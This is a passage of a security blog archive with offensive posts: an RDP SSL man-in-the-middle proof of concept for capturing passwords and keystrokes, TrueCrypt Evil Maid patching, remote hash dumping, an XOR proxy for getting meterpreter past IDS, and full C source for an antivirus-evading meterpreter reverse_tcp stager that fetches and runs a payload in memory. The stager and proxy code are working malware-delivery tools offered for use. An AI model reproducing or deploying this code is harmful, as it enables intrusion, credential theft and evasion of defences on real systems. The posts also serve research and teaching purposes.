Archive for the security Category

Quick POC to mitm RDP ssl

Posted in general, security with tags , , , on April 21, 2014 by diablohorn

So the other day I stumbled upon this great article from Portcullis Labs. The article explains how you can man-in-the-middle an RDP SSL connection. This can be helpful in obtaining the user’s password, like Portcullis explains in their article. As far as I could tell they didn’t release their tool, so I decided to see if I could whip up a quick POC script with a twist of saving the entire decrypted stream to a pcap file. This would put you in the position to maybe retrieve more sensitive data then just the password. Turns out the only modification from regular SSL intercepting code is more or less the following:

    #read client rdp data
    serversock.sendall(clientsock.recv(19))
    #read server rdp data and check if ssl
    temp = serversock.recv(19)
    clientsock.sendall(temp)
    if(temp[15] == '\x01'):

Like you can see we just pass through the initial packet and then just check the response packet for the ‘SSL’ byte before we start intercepting. The output is pretty boring, since everything is saved to the file ‘output.pcap’:

sudo ./rdps2rdp_pcap.py 
waiting for connection...
('...connected from:', ('10.50.0.123', 1044))
waiting for connection...
Intercepting rdp session from 10.50.0.123
some error happend
some error happend

You can ignore the errors, that’s just me being lazy for this POC. The output is saved in ‘output.pcap’ which you can then open with wireshark or further process to extract all the key strokes. If you want to play around with the POC you can find it on my github as usual. If you plan on extracting the key strokes make sure you look for the key scan codes and not for the hex representation of the character that the victim typed. In case you are wondering, yes , extracting the key strokes is left as an excersise for the user :)

 

[QP] Dumping the TrueCrypt second stage

Posted in MemoToSelf, security with tags , , on March 23, 2014 by diablohorn

I was under the impression that TrueCrypt installed a boot loader that was responsible for the pretty menu that you usually see when you boot. So to my surprise when I wanted to play around with it….it wasn’t. TrueCrypt actually uses a second stage to display that pretty menu. The traditional boot loader more or less just takes care of loading the second stage which sits compressed on the hard disk, if loading fails it will display some messages and that’s it. Since I still wanted to play around with it and preferably with the version actually sitting on my test machine’s hard disk I decided to dump it. The easiest way was to use Evil Maid, I modified the source slightly to prevent infection, it will still infect though if you omit a second argument :)

Here are the steps if you want to do it yourself:

  • Retrieve the first 64 sectors, for example with “FTK Imager” if you are under windows
  • Download the Evil Maid source
  • Apply this patch (patch <evilmaid.patch)
  • Run ./patch_tc <file_with_64_sectors> -f

This should look like this:

./patch_tc ~/Desktop/tc-full.dd -f
TrueCrypt EvilMaid patcher v0.1
---------------------------------
TrueCrypt Boot Loader detected
PatchTrueCrypt(): Compressed loader size: 11877 bytes
PatchTrueCrypt(): Saved checksum 0x267DAC67
PatchTrueCrypt(): Loader memory size: 0x7000 (28672) bytes
PatchTrueCrypt(): Decompressing the boot loader
PatchTrueCrypt(): Decompression successful

The local directory where the executable patch_tc resides should now contain two files “sectors_backup” and “loader” which is the uncompressed second stage as you can see from a simple strings output:

strings -n 15 loader 
No bootable partition found
 TrueCrypt Boot Loader 7.1
    Keyboard Controls:
    [Esc]  
Boot Non-Hidden System (Boot Manager)
Skip Authentication (Boot Manager)
[Esc]  Cancel
Enter password
 for hidden system:
Booting...
BIOS reserved too much memory: 
- Upgrade BIOS
- Use a different motherboard model/brand
Warning: Caps Lock is on.
Incorrect password.
If you are sure the password is correct, the key data may be damaged. Boot your
TrueCrypt Rescue Disk and select 'Repair Options' > 'Restore key data'.
Bootable Partitions:
, Partition: 
Press 1-9 to select partition: 
Your BIOS does not support large drives
 due to a bug
- Enable LBA in BIOS
Copying system to hidden volume. To abort, press Esc.
If aborted, copying will have to start from the beginning (if attempted again).
To fix bad sectors: 1) Terminate 2) Encrypt and decrypt sys partition 3) Retry
Remaining: 
Copying completed.
Memory corrupted

[old] VMware vSphere client XML External Entity attack

Posted in general, security with tags , , , , , , on March 16, 2014 by diablohorn

So this is a *really* old blog post that I wrote a while back when I discovered, or at least so I believed, an XXE bug in the VMware vSphere client. I reported this to the VMware security team but they were not able to reproduce the part where you would use a UNC path to try and steal the credentials of an user. I then got busy and never continued to investigate why they were not able to reproduce it. Since the vSphere client is being replaced by a web client I decided it couldn’t hurt to release this old post, also the likely hood of this being exploited is pretty low.

Curiosity (from Latincuriosus “careful, diligent, curious,” akin to cura “care”) is a quality related to inquisitive thinking such as exploration, investigation, and learning, evident by observation in human and many animal species.  (Wikipedia)

As always a driving force behind many discoveries, as well as the recent bug I found in the VMware vSphere client (vvc). Not a very interesting bug, yet a fun journey to approach things from a different perspective. After my last post about a portable virtual lab I wondered what the vvc used as a protocol to communicate with the esxi server and if it could contain any bugs. So this time instead of getting out ollydbg I decided to go for a more high-level approach. Let’s see how I poked around and found the XML External Entity (XXE) (pdf)  vulnerability in the vvc.

I first looked in the directory of vvc, just to know the type of files that resided there, here is a screenshot:

1

Logically the file that drew my attention was the config file of which the following settings also seemed like they would come in handy:

2

Seems like if we want to tinker with the connection a higher time-out would give us more time and a higher verbosity level of logging could help us during the poking around. Enough looking around at this point let’s get more active.

Continue reading

Memory Zeroization: frustrating memory forensics

Posted in security with tags , , on March 16, 2014 by diablohorn

Zeroization of information is a long standing practices on systems that handle highly sensitive data (usually cryptography systems), yet it’s something that isn’t done very often by most applications on your regular desktop environment. I’ve got no clue why, although I guess that it is because most people assume that if memory is not available anymore to their application it won’t be available to others. This however is a flawed assumption which is eagerly used by investigations that use memory forensics techniques. If you want to see the power of memory forensics take a look at volatility which is an excellent memory forensics framework. Just to give you an idea of how powerful memory forensics can be here is an example taken from the volatility blog:

Taking screenshots from memory files

Like you can see an investigator (or an attacker) is able to pull the complete layout of your windows from a memory dump, isn’t that impressive? So like you are probably guessing by now it should actually be best practice to zero memory before it’s released. In an ideal situation your operating system would take of this for you, but unfortunately it doesn’t. With ideal I mean zero it immediately when the programmer calls the *free*()  functions.

Dear OS makers could you implement it by default?

So to try and promote the use of zeroization in regular software I’ve decided to create a few simple wrappers that zero the memory before it’s released. The message to take away here is

*always zero your memory before releasing it*

These wrappers are nothing fancy and as usual can be found on my github.

As said before the wrappers itself are not that interesting, strictly speaking they are not even needed since you can also zero memory yourself before calling a function to free the allocated memory. The important thing to take into account when doing any zeroization of memory is to make sure that the function or technique you use is not optimized away by the compiler. Compilers have a nasty habit of optimizing stuff that you don’t want optimized. It’s however pretty convenient to just call a free function and not having to worry about zeroing the memory yourself. So the first thing I did was having a look at the general concept of memory allocation which is more or less something along the following lines:

  • Caller requests 100 bytes
  • Operating system allocates a bit more, say four bytes, so it becomes 104
  • Operating system stores the size of the requested memory in the extra allocated bytes
  • Caller gets a memory block of 100 bytes without knowing that it’s actually 104

That sounds simple enough so I decided to start with writing a wrapper for the free() functions to retrieve the size of the block to be free just like the operating system would do it. To my surprise however it wasn’t as easy as it conceptually sounded at first. I started to digging into the malloc() and free() and in my tests it seemed that they are just wrappers for HeapAllocate() and HeapFree(). That didn’t sound to bad at first until I landed in the wonderful world of heap management. If you want a good read on that check out this paper which does a very nice job of explaining it.

This is when I decided to discard the method of trying to retrieve the size of the memory block based on the received pointer and decided to just add a thin layer of “memory size management”. Stupid me though because as you will read later it’s actually dead easy to retrieve the size of a memory block. So I started to write some code that just implemented the conceptual method that I first encountered. This however means I would not only need to wrap the *free*() functions but also the *alloc*() functions. This resulted in the following code for the malloc() and free() functions:

/*
	Thanks TheColonial for reminding me of pointer arithmethic and re-educating me on it.
	Old unused code, left here in case someone prefers to do it this way.
	This code also wrapped the allocater to prepend the size of the allocated memory block.
*/
void *zmalloc( size_t size ){
	size_t newsize = (sizeof(size_t) + size);
	size_t *newmalloc = 0;
	void *originalmalloc = NULL;

	originalmalloc = malloc(newsize);
	printf("size %i\n",_msize(originalmalloc));
	if(originalmalloc == NULL){
		return NULL;
	}

	(*(size_t *)originalmalloc) = size;
	newmalloc = (size_t *)originalmalloc;

	return (void *)(newmalloc + 1);
}

void zfree(void *memblock){
	size_t *newmemblock = NULL;
	size_t size = 0;

	newmemblock = ((size_t *)memblock)-1;
	memcpy_s(&size,sizeof(size_t),newmemblock,sizeof(size_t));
	size += sizeof(size_t);
	SecureZeroMemory((void *)newmemblock,size);
	free((void *)newmemblock);
}

Now as the comment suggested I first failed at properly implementing this since I forgot that when you do pointer arithmetic the size of the destination pointer is used for the operations. So in my first code I ended up with 4*size_t being allocated which is kind of a waste of space. This was all great and so but when I saw the function definition of other memory allocation functions it didn’t really inspire me to continue. So I decided to have one more look at the whole “extract size from memory block pointer” issue.

I often learn a lot of new stuff when working out ideas or playing around, but now I just felt plain stupid see for yourself:

http://msdn.microsoft.com/en-us/library/windows/desktop/aa366781(v=vs.85).aspx

Do you see anything that could be remotely useful? YES most of the memory allocation functions have a size companion that will retrieve the size of the memory block. Which means I go back to only wrapping the free function and reducing the code to:

void zfree(void *memblock){
	size_t blocksize = _msize(memblock);

	if(blocksize != -1){
		SecureZeroMemory(memblock,blocksize);
	}
	free(memblock);
}

So this was a fun and interesting path to finally end up with the original idea of just wrapping the free functions. Hope you enjoyed this entry and that after reading this you’ll all be doing zeroing of memory before freeing it :)

Encrypted Screenshots

Posted in general, security with tags , , , on January 18, 2014 by diablohorn

You might be wondering why on earth you’d need to take encrypted screenshots, in that case here are a couple of reasons:

  • The machine on which you take screenshots has different levels of classification
    • Although in this case you *should* definitely review the full source, specially the crypto part
  • You want to make it harder for the victim to find out what information has been captured (stolen)
  • Just in case you have to transport them on an insecure medium
  • Because it’s an easy way to steal information
  • Because you want to keep your own screenshots safe
    • Don’t generate the key pair on the same machine or save the private key on the same machine!

You can skip directly to ‘cryptoshot’ on my github.

Compiling cryptoshot

I used Visual Studio 2010 express, if you use other versions you might have to resolve possible issues yourself. It should compile without problems if you set the active configuration to ‘Release’. If you run into any problems check one of the following:

  • Are the additional directories ‘libfiles’ and ‘libheaderfiles’ configured correctly under the ‘c/c++’ and linker options?
  • Under ‘Linker->input’ add ‘libcmt.lib’ to the ‘Ignore Specific Default Libraries’ line
  • Set ‘C/C++->Compile As’ to ‘Compile As C Code’

Things I (re)learned

Cryptography is hard, very hard

So for some odd reason I had associated Message Authentication Codes (MAC) with padding oracle attacks. Since the decryption of the screenshots would be done by another process, most probably with a huge delay in time and with no way for an attack to access the possible output, I thought why would I do a MAC over the encrypted data? Luckily for me the people in the #crypto  channel on freenode where willing to explain to me that padding oracle attacks are not the only thing an attacker can do if they can ‘flip bits’ in your encrypted blob. In the case of cryptoshot for example if the attacker can guess the dimensions of the underlying image he could draw his own image. So I added an HMAC to verify before decrypting anything. Additionally for the encryption of the symmetric keys etc, I was using RSA PKCS1 and it had to be swapped for RSA OAEP. Reason being that there are multiple known attacks to PKCS1 encryption.

Multi monitors & the virtual screen

A virtual screen spans MULTLIPLE monitors! Let’s take a look at this MSDN picture:

IC444273

That makes it more clear doesn’t it? The virtual screen can span across multiple monitors and since the primary monitor has 0,0 as it’s origin, everything left from it is negative. So when using the BitBlt function to make a screenshot you need to make sure you distinguish between the left side position of the virtual screen (which will be negative) and the width in pixels of the virtual screen. Which more precise is the difference between using GetSystemMetrics() with SM_XVIRTUALSCREEN and SM_CXVIRTUALSCREEN.

In case you are wondering about the image format, it’s BMP. I looked into creating it as JPEG but then decided it would mean quality loss. So instead I opted to use zlib and compress the entire image before encrypting it. I was to lazy to opt for the PNG option.

Remote hash dumping: no processes or tool upload needed

Posted in general, security with tags , , , , on October 24, 2013 by diablohorn

So after my last article, in which I describe an alternative way to execute code on a remote machine if you have the local administrator’s password, I kept wondering what else could be done with the remote registry? The first thing I immediately thought of was dumping the windows hashes. The reason I thought of this was because it would have several advantages:

  • You would not need to bypass anti virus
  • You would not need to worry about uploading executable files
  • You would not need to worry about spawning new processes on the remote machine
  • You would only need one open port

Since I dislike reinventing the wheel (unless it’s for educational purposes) I started to first search around and see what current methods are available. As far as I can tell they all boil down to the following:

  • Use psexec to dump hashes by
    • Spawning a new process and running reg.exe
    • Uploading your own executable and running it
  • Use WMI to spawn a new process and run reg.exe
  • Use Windows tools
    • regedit.exe / reg.exe
    • Third party (WinScanX)

If you are not interested in my first failed attempt, the learned things you can skip directly to the script on GitHub as usual. Keep reading if you want to know the details. In case you are wondering: Yes I used impacket, it rocks.

Continue reading

Alternative psexec: no wmi, services or mof needed

Posted in general, security with tags , , , , , on October 19, 2013 by diablohorn

For me the fun in hacking still remains in finding new ways to achieve the same goal. On one of those days with splendid sun and people having their beer, I thought it would be a good idea to start researching how to get a remote Windows shell without using any of the more  well known methods and preferably from a Linux host. To set the proper context I’m talking about the situation where you have gathered local administrative credentials and want to start gathering shells all over the network. I started to research the current methods and see how they worked the way they did. Then I did a lot of searching around and also some basic process monitoring stuff. This eventually gave me what I wanted a new?? way to start remote processes without using any of the known methods BUT unfortunately it has one possible drawback: it is not instant like the other well known methods.  Depending on your goal and time this can be as much a drawback as it can be an advantage. The actual method IS NOT really new it’s just used in a remote way. Let’s do a quick recap of the ‘well known’ methods I’m referring to, to make sure we are on the same level:

psexec
This is probably the most well known one and implemented in a dozen ways. The basics revolve around uploading an executable and creating a service that starts the executable. It’s efficient, reliable and thoroughly tested. It works from Windows and Linux hosts.

Windows Management Instrumentation (WMI)
This one is often used from visual basic script files or powershell scripts to exeute processes remotely. As far as I can tell it uses some undocumented dcerpc functions. It works very nice from Windows host, but I haven’t seen a Linux implementation yet. There is a libwmi library but I think it only does WMI queries, please correct me if I’m wrong.

Windows Remote Management / Shell (WinRM / WinRS)
This one is pretty neat since it uses the mechanisms provided by Windows to give you a direct shell without uploading anything or making use of temporary files. There is a nice write up about it on the rapid7 website.

Managed Object Format (MOF)
This one seems to have come into existing with Stuxnet and is pretty sexy. All you have to do is drop a correctly prepared file and Windows will execute it.

Looking at all these methods there are a two things that caught my attention:

  • DCE/RPC is pretty powerful
  • Eventually you want to upload your own executable (ex: meterpreter)

If you are impatient you can skip to the source of the POC on github, if you want to know more keep reading.

Continue reading

sslsniff howto dump the temporary key

Posted in general, security with tags , , , , , on July 14, 2013 by diablohorn

sslsniff written by Moxie Marlinspike is a pretty nice tool to do SSL analysis. It has two modes of operation:

  • Authority mode
    • Dynamically generates certificates and signs them with the specified CA
  • Targeted mode
    • Uses pre-generated certificates to attack specific sites

Like most (if not all) tools there is always a situation where you want to look at the decrypted data in wireshark.  So yes, for that you would use the ‘targeted mode’, but then again wouldn’t it be nice if you could also do that using the Authority mode? Since I’ve never really messed with reversing and hooking on linux I chose to make a solution that wouldn’t require source code changes to sslsniff. Since the source code is available it helped me to cheat and be able to understand things better. Most of the information I had to read, to actually understand what I was doing can be found at the end of this post under the heading ‘references’. It’s fun to see what you can manage in a short amount of time if you stick to it.

The TL;DR version can be grabbed from my gihub it contains the source code and scripts you need to dump the temporary SSL key. For the ones wondering how I approached his, please keep reading.

Continue reading

vbscript based interactive registry viewer

Posted in general, security with tags , , on May 14, 2013 by diablohorn

Sometimes (don’t ask me why) when you are hacking some terminal server it happens that an administrator has disabled regedit.exe and reg.exe, but forgot about visual basic script (vbs). I know, I know everyone is all busy with powershell, but trust me sometimes vbs is the right script for the job. So I hacked together a quick script to view the registry which you can find on my github:

https://github.com/DiabloHorn/DiabloHorn/blob/master/misc/regview.vbs

It should be pretty self-explanatory, but just in case here is some example usage:

C:\>cscript regview.vbs
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

[] help

help - displays this help
cd  - change to that key
back - go to parent/previous key
ls - list current subkeys
lsv - list current key values
use - root key number to use
        0 - HKEY_CLASSES_ROOT
        1 - HKEY_CURRENT_USER
        2 - HKEY_LOCAL_MACHINE
        3 - HKEY_USERS
        4 - HKEY_CURRENT_CONFIG

[] use
key number: 1
[HKEY_CURRENT_USER\] cd software\vmware, inc.
[HKEY_CURRENT_USER\software\vmware, inc.] ls
VMware Tools
[HKEY_CURRENT_USER\software\vmware, inc.] cd vmware tools
[HKEY_CURRENT_USER\software\vmware, inc.\vmware tools] lsv
[HKEY_CURRENT_USER\software\vmware, inc.\vmware tools] ls
Hgfs Usability
[HKEY_CURRENT_USER\software\vmware, inc.\vmware tools] cd hgfs usability
[HKEY_CURRENT_USER\software\vmware, inc.\vmware tools\hgfs usability] lsv
Entry Name: mappedDriveLetter
        Data Type: String
        Value: z
[HKEY_CURRENT_USER\software\vmware, inc.\vmware tools\hgfs usability] back
[HKEY_CURRENT_USER\software\vmware, inc.\vmware tools] back
[HKEY_CURRENT_USER\software\vmware, inc.] exit

I know it lacks a search function, I’ll see if I get around to implement it any time soon. A script to change values is a whole other story though and something I don’t really need that often. If you encounter bugs, do fix them :)

Verifying Nmap scans

Posted in general, security with tags , , , , on May 7, 2013 by diablohorn

So the other day while talking with Slurpgeit the following issue came up:

During a scan nmap reported 1000 ports filtered for the host, but wireshark told us otherwise a RST was received for a few ports but with a delay of ~18 seconds

Hmm that’s interesting, so that means that if wireshark hadn’t been monitored during the scan, the closed ports would have been missed or even worse what if open ports had been missed? The RTT to the host however were within normal ranges, also a simple ping worked fine without any delay whatsoever. Which brings us to an ancient saying about hacking:

Never trust your tools completely, always verify your results! Then verify them again and finally check that they are correct.

Since this is (assumed) something that doesn’t occur that often, you most probably want to automate the verification step. Unless you love looking at scrolling packets in your wireshark window. We can do it actively (real time sniffing) or passively (pcap) after the scans are done. I choose to implement the latter, the passive and after-the-facts verification. Reason being that all you most probably want is to check if something has gone wrong, if not just continue hacking your target. So let’s setup a lab environment to reproduce this issue and then let’s write a script for it using scapy.

I chose to just create two virtual machines within the same subnet, one being the attacker and one being the victim. To delay the traffic on the victim side I used netem since I didn’t manage to do it with iptables. I delayed one port with the following lines I found on the interwebs:

sudo tc qdisc add dev eth0 root handle 1: prio
sudo tc qdisc add dev eth0 parent 1:1 handle 2: netem delay 5s
sudo tc filter add dev eth0 parent 1: protocol ip prio 1 u32 match ip sport 22 0xffff flowid 1:1

This will effectively delay all outgoing packets from port 22 with 5 seconds, which is more then enough to make nmap think it’s a filtered port. Fun fact: while playing with netem, if you apply the delay to all packets then nmap won’t even begin to scan the host, since according to it’s arp scan the host is down. Let’s fire up nmap and take a look at the output:
Continue reading

finding sub domains with search engines

Posted in general, security with tags , , , , on May 5, 2013 by diablohorn

Finding sub domains using DNS is common practice, for example fierce does a pretty nice job. Additionally fierce presents a nice overview of the possible ranges that belong to your target. For some odd reason I also like to find sub domains using search engines, even though this will deliver results that are far from exhaustive. In the past I wrote a perl script to do this, but since I’m becoming a fan of python I decided to rewrite it in python. For example using python-requests and beautifulsoup it only takes like ~10 lines to scrape the sub domains from a search engine page:

def getgoogleresults(maindomain,searchparams):
    regexword = r'(http://|https://){0,1}(.*)' + maindomain.replace('.','\.')
    try:
        content = requests.get(googlesearchengine,params=searchparams).content
    except:
        print >> sys.stderr, 'Skipping this search engine'
        return
    soup = BeautifulSoup(content)
    links = soup.find_all('cite')
    extract = re.compile(regexword)
    for i in links:
        match = extract.match(i.text)
        if match:
            res = match.group(2).strip() + maindomain
            if res not in subdomains:
                subdomains.append(res)

This script doesn’t parse all the result pages from the search engines. Actually it only parses the first page. This is because I wanted to keep it simple for the moment being and it helps to not get blocked that quickly. To compensate for the lack of crawling the results, the script uses multiple search engines and negates the results from one engine onto another.  For example it performs queries like:

site:somedomain.tld -site:subdomain1.somedomain.tld

As said it compensates somewhat for the lack of crawling the results pages but it will surely fail to find all sub domains indexed on the search engines. This is how it looks like:

searchsubdomain.py hacktalk.net
blog.hacktalk.net
leaks-db.hacktalk.net
ns2.hacktalk.net
www.hacktalk.net

Which is exactly the moment when I realised I’d also would like the ip addresses that belong to the found domains. I wrote a separate script for that which uses the adns python bindings. This is how it looks like:

searchsubdomain.py hacktalk.net | dnsresolver.py 
ns2.hacktalk.net 209.190.32.59
www.hacktalk.net 209.190.32.59
leaks-db.hacktalk.net 209.190.32.59
blog.hacktalk.net 209.190.32.59

If you wonder why I wrote a new script that uses adns:

real 0m46.962s
user 0m0.904s
sys 0m0.180s

That’s the time it took to resolve 2280 hosts including a couple of 3 second delays to not hog the DNS server. Also for tasks like this (brute forcing sub domains with DNS) bash is your friend:

for i in `cat hosts.txt`;do echo $i”.hacktalk.net” >> hacktalkdomains.txt;done
dnsresolver.py hacktalkdomains.txt | grep -vi resverror

I copied the two scripts to my /usr/local/bin directory to be able to use them from anywhere on the cli. You can find them over here: https://github.com/DiabloHorn/DiabloHorn/tree/master/misc

We bypassed antivirus, how about IDS/IPS?

Posted in general, security with tags , , , , , , on February 21, 2013 by diablohorn

So like we have seen in previous posts bypassing antivirus engines isn’t always as difficult as you would expect. Now how about bypassing IDS/IPS systems? After all, the only thing we have done is make the initial stager undetected, the second stage still needs to be transferred over the wire. We have a couple of options to do this:

The first one has already been done by metasploit and integrates really nice within metasploit, so let’s build the second one for fun, profit and general learning.

Since we just want some obfuscation and nothing fancy we’ll just use our good friend XOR to obfuscate the payload. We do want this to be reusable or at least keep it simple. So I’ve chosen to implement an encrypting proxy. Why you ask?

  • You don’t have to change or edit metasploit code
  • You don’t have to change or edit the stage itself
  • You only have to change your stager
    • We have already build our own stager :)

So let’s modify our stager to support XOR decryption. For that we need a XOR function and actually calling that function.

/*
	Use for additional obfuscation??

http://stackoverflow.com/questions/12375808/how-to-make-bit-wise-xor-in-c

*/
void xor(char *data,int len){
	int i;

	for(i=0;i<len;i++){
		data[i] = data[i] ^ 0x50;
	}
}

Then you actually call the function:

	do{
		response = recv(meterpretersock, recvbuf, 1024, 0);
		xor(&recvbuf[0],response);
		memcpy(payload,recvbuf,response);
		payload += response;
		total += response;
		payloadlength -= response;

	}while(payloadlength > 0);

Those are all the modifications we need to make to our existing stager. The proxy however we’ll need to build from scratch, these are the minimal steps it needs to perform to support a windows/meterpreter/reverse_tcp payload:

  • Listen for incoming connections
  • Connect to the metasploit handler
  • Read the payload length
  • XOR the payload on the fly
  • forward it to our stager
  • Just relay all traffic between stager and metasploit after this point

The only interesting part which is handling the initial stager connection looks like this:

#handle the initial stager connection
def handler(clientsock,addr):
    msfsock = socket(AF_INET, SOCK_STREAM)
    msfsock.connect((MSFIP, MSFPORT))
    msfdata = ''
    #read and send payload length to meterpreter
    msfdata = msfsock.recv(4)
    clientsock.send(msfdata)
    datalen = struct.unpack('<I',msfdata)[0]
    print "payload size %s" % datalen
    #now start sending and xor'ing the data
    while datalen > 0:
        msfdata = msfsock.recv(BUFF)
        xorreddata = ''
        for i in range(len(msfdata)):
            xorreddata += chr((ord(msfdata[i]) ^ XORKEY) & 0xFF)
        clientsock.sendall(xorreddata)
        rl = len(msfdata)
        datalen = datalen - rl
        print "send data %s remaining %s" % (rl,datalen)
    #we are done with obfuscation, just relay traffic from now on
    print "Starting loop"
    thread.start_new_thread(trafficloop,(msfsock,clientsock))
    thread.start_new_thread(trafficloop,(clientsock,msfsock))

Now when you run it you’ll encounter an interesting bug/feature in metasploit as in that metasploit doesn’t allow connections from 127.0.0.1. You can work around this by adding your own local loopback interface as explained here: http://www.kartook.com/2010/10/linux-how-to-add-loopback-on-ubuntu/

After solving that you just start metasploit payload handler:

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=4444 E

Then you start the encrypting proxy:

./ep.py 10.50.0.103 9999 10.10.10.100 4444

The only thing you have to do now is launch the custom stager and if everything goes as planned your metasploit terminal will look like this:

PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 10.10.10.100
LPORT => 4444
[*] Started reverse handler on 10.10.10.100:4444 
[*] Starting the payload handler...
[*] Sending stage (762880 bytes) to 10.10.10.100
[*] Meterpreter session 1 opened (10.10.10.100:4444 -> 10.10.10.100:44995) at 2013-02-21 02:04:02 +0100

meterpreter > getuid
Server username: WIN-COMP\research
meterpreter >

and if you look at the data in wireshark it looks like this, instead of having the usual “This program cannot be run in DOS mode.”:

idsbypass

You can find the complete code for this (stager  & proxy) on my github as usual, as for the compiling instructions I’ve explained those in a previous post.

Evade antivirus convert shellcode to c

Posted in general, security with tags , , , , on February 4, 2013 by diablohorn

So another way to have a meterpreter stager bypass AV is to just port the shellcode to C instead of obfuscating it like I explained in my previous article, still assuming psexec like purposes here.

0

Assembly always seems terrifying if you’ve never worked with it previously, but just like all source code it depends on the coder if it really is terrifying. Take for example the shellcode for the meterpreter stages, that’s some neat code and easy to read also thanks to the comments. Let’s take a look at all the asm for the meterpreter/reverse_tcp stager and determine what it does:

Since we are coding in C there is a lot of stuff we don’t need to convert, for example the API resolving is not really needed. So basically what we have to do is:

  • connect to metasploit handler
  • get the second stage
  • execute it in memory

For the impatient ones, here is the C code you can compile and use. For the ones interested on how to compile and use it, read on.

/*
	Author: DiabloHorn https://diablohorn.wordpress.com
	Undetected meterpreter/reverse_tcp stager
	Compile as C
	Disable optimization, this could help you later on
	when signatures are written to detect this. With a bit of luck
        all you have to do then is compile with optimization.

*/
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>

#include "LoadLibraryR.h"
#include "GetProcAddressR.h"

#pragma comment(lib, "ws2_32.lib")

int initwsa();
short getcinfo(char *,char *,int);
SOCKET getsocket(char *);
DWORD WINAPI threadexec(LPVOID);

/* setting up the meterpreter init function */
typedef DWORD (__cdecl * MyInit) (SOCKET fd);
MyInit meterpreterstart;

/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms738545(v=vs.85).aspx */
WSADATA wsa;

/*
	doit
*/
int CALLBACK WinMain(_In_  HINSTANCE hInstance,_In_  HINSTANCE hPrevInstance,_In_  LPSTR lpCmdLine,_In_  int nCmdShow){
	HANDLE threadhandle;
	DWORD  threadid;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	char szPath[MAX_PATH];

	GetModuleFileName(NULL,szPath,MAX_PATH);
    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );

	/* Quick & Dirty hack to make this usable for psexec like stuff
	   When executed the first time it will spawn itself this makes
	   sure we return on time and don't get killed by the servicemanager
	*/

	if(strlen(lpCmdLine) == 0){
		strcat_s(szPath,MAX_PATH," 1");
		CreateProcess(NULL,szPath,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
	}

	if(strlen(lpCmdLine) > 0){
		//thread just for fun...no real purpose atm
		threadhandle = CreateThread(NULL,0,threadexec,szPath,0,&threadid);
		WaitForSingleObject(threadhandle,INFINITE);
	}
}

/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms682516(v=vs.85).aspx
	read port:ip
	Receive stage
	Load it using reflectivedllinjection
*/
DWORD WINAPI threadexec(LPVOID exename){
	SOCKET meterpretersock;
	int response = 0;
	int total = 0;
	char *payload;
	char recvbuf[1024];
	DWORD payloadlength = 0;
	HMODULE loadedfile = NULL;

	if(initwsa() != 0){
		exit(0);
	}

	meterpretersock = getsocket((char *)exename);
	response = recv(meterpretersock, (char *)&payloadlength, sizeof(DWORD), 0);

	payload = (char *)malloc(payloadlength);
	memset(payload,0,payloadlength);
	memset(recvbuf,0,1024);

	do{
		response = recv(meterpretersock, recvbuf, 1024, 0);
		memcpy(payload,recvbuf,response);
		payload += response;
		total += response;
		payloadlength -= response;

	}while(payloadlength > 0);
	payload -= total;
	loadedfile = LoadLibraryR(payload,total);
	meterpreterstart = (MyInit) GetProcAddressR(loadedfile,"Init");
	meterpreterstart(meterpretersock);

	free(payload);
	//closesocket(sock); meterpreter is still using it
}
/*
	Get a socket which is allready connected back
*/
SOCKET getsocket(char *self){
	SOCKADDR_IN dinfo;
	SOCKET sock;
	int respcode = 0;
	char *ipaddr = (char *)malloc(sizeof(char)*25);
	short port = 0;

	memset(ipaddr,0,sizeof(char)*16);
	port = getcinfo(self,ipaddr,16);

	sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(sock == INVALID_SOCKET){
		printf("socket failed\n");
		exit(0);
	}
    dinfo.sin_family = AF_INET;
    dinfo.sin_addr.s_addr = inet_addr(ipaddr);
    dinfo.sin_port = htons(port);

	respcode = connect(sock, (SOCKADDR *) &dinfo, sizeof (dinfo));
	if(respcode == SOCKET_ERROR){
		exit(0);
	}
	free(ipaddr);
	return sock;
}

/*
	Initialize winsock
*/
int initwsa(){
	int wsaerror = 0;
	//wsa is defined above main
	wsaerror = WSAStartup(MAKEWORD(2,2),&wsa);
	if(wsaerror != 0){
		return -1;
	}
	return 0;
}

/*
	Get ip address and port information from our own executable
	Feel free to hardcode it instead of doing this
*/
short getcinfo(char *self,char *ipaddr,int len){
	int i = 0;
	int offset = 0x4e;
	//[port as little endian hex][ip as string \0 terminated]
	//9999 -> 270f -> 0f27
	//127.0.0.1 -> 127.0.0.1
	//make sure to padd with \0's until max buffer, or this will read weird stuff
	short port = 0;
	FILE * file = fopen(self, "r");
	fseek(file,offset,SEEK_SET);
	fread((void *)&port,(size_t)sizeof(short),1,file);
	fread(ipaddr,(size_t)len,1,file);
	fclose(file);
	return port;
}

Continue reading

Hash encapsulation to bypass AV

Posted in general, security with tags , , , , on January 20, 2013 by diablohorn

The previous entry was about lowering detection rates on AV by just simply recompiling and/or optimizing the source. This worked pretty well except for the really known tools like meterpreter. So let’s continue where we left off and make a undetectable executable for psexec purposes. First thing I did was the most obvious thing of course, I followed the shellcodeexec instructions and generated a metasploit alpha-numeric shellcode. Then I adjusted the source of shellcodeexec to incorporate the shellcode instead of passing it as an argument. This however failed miserably and the detection ratio was higher then 6/46. Then it hit me: I had lowered the detection rate on the ‘stage’ part and NOT on the ‘stager’ part. So that means we have to make some more executable code undetected, this time we’ll put a little bit more of effort into it:

FUD

Now that looks pretty sweet doesn’t it? 0/46 seems this time we don’t have to be happy with just lowering the detection rate, we have fully evaded it. Let’s have a look at how we can do this:

The concept of “self brute forcing” was used, but instead of using a cipher like AES, I used hashes. Normally you encrypt the entire payload with a weak key and then upon execution you brute force the key, hyperion is an example of this technique.  It’s pretty bulky still since the entire payload is just one big blob.  So I thought why only brute force the key and not the entire payload? So I modified the already undetected shellcodeexec to contain only hashes of the meterpreter payload. This way it’s a single executable that you can use for all kind of stuff. Don’t forget however that it’s still staged, so with this we are making the ‘stager’ part fully undetectable, but not the actual stage. If you need just one exe without stages have a look at ultimet.

